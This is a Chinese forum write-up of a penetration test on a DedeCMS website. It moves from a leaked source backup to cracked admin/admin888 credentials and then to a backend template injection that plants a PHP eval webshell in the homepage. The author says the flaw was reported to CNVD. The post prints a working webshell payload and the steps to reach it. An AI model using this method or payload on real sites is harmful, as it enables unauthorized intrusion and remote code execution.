標題:記一次從源碼洩露到getshell(一)

taibeihacker

Moderator

0x00 前言​

此次滲透中的所有修改已經復原,且漏洞已經提交至cnvd平台

0x01 源码泄露​

在一個月黑風高的夜晚,閒來無事的我又開著腳本利用hunter進行互聯網站點源碼的掃描
在查看備份文件掃描結果時,看到了寶貝
1049983-20220119231005643-855989855.png

二話不說,訪問下載得到源碼!
可以在注释信息处发现dedecms的痕迹
1049983-20220119231006182-1434081312.png

0x02 敏感信息泄露​

获得源码的第一步当然是获取敏感信息先嘗試全局搜索(crtl+shift+f)關鍵詞
key
pwd
passwd
password1.數據庫信息洩露
1049983-20220119231006736-1457108993.png

2.後台管理員密碼洩露
1049983-20220119231007158-1967199239.png

md5解密嘗試解密,居然是一個弱口令
1049983-20220119231007541-157841701.png

有了賬戶密碼後當然是要找到後台管理地址,那麼有了源碼後台管理地址還不是手到擒來?
後台RCE-getshell源碼中找到後台地址(居然改了個888)
1049983-20220119231007991-2064194868.png

用洩露的admin/admin888進入後台後,發現版本信息為dedecms PS1

0x03 历史漏洞​

既然已經獲得了cms信息,第一步當然看看他的歷史漏洞
查找SP1歷史漏洞都是遠程代碼包含漏洞,但是這個站點已經將關鍵文件install.php刪除(源碼中不存在)
抱著僥倖心裡又去嘗試訪問l一下(說不定後來又加上了呢)確實不存在,只能繼續查看其他功能點
然後也嘗試測試了許多SP2的漏洞payload但均失敗

继续测试其他点​

繼續查看發現系統設置-系統基本參數-其他選項中有模板引擎的禁用函數
1049983-20220119231008552-615901508.png

但是明明沒有模板引擎功能他為什麼要禁用呢?
我帶著這個疑問又重新翻看源碼
果然又找到模板相关文件,(說明只是功能點被隱藏,文件依舊還在)
1049983-20220119231009182-1712828016.png

嘗試訪問,成功訪問到並且能夠正常執行
1049983-20220119231009831-933380532.png

那麼就好辦了,根據dedecms模板規則,後台模板寫入payload,訪問即可執行PHP代碼
{dede:field name='source' runphp='yes'}@eval($_POST['lyy']);{/dede:field}
//調用方式[field:字段名/] 這裡的關鍵是runphp='yes'
//php代碼則是簡單的一句話然後去將其他選項中的禁用函數全部刪除保存
1049983-20220119231010392-530351846.png

因為註入到了index.htm
所以連接webshell 的url為首頁
http://
 
返回
上方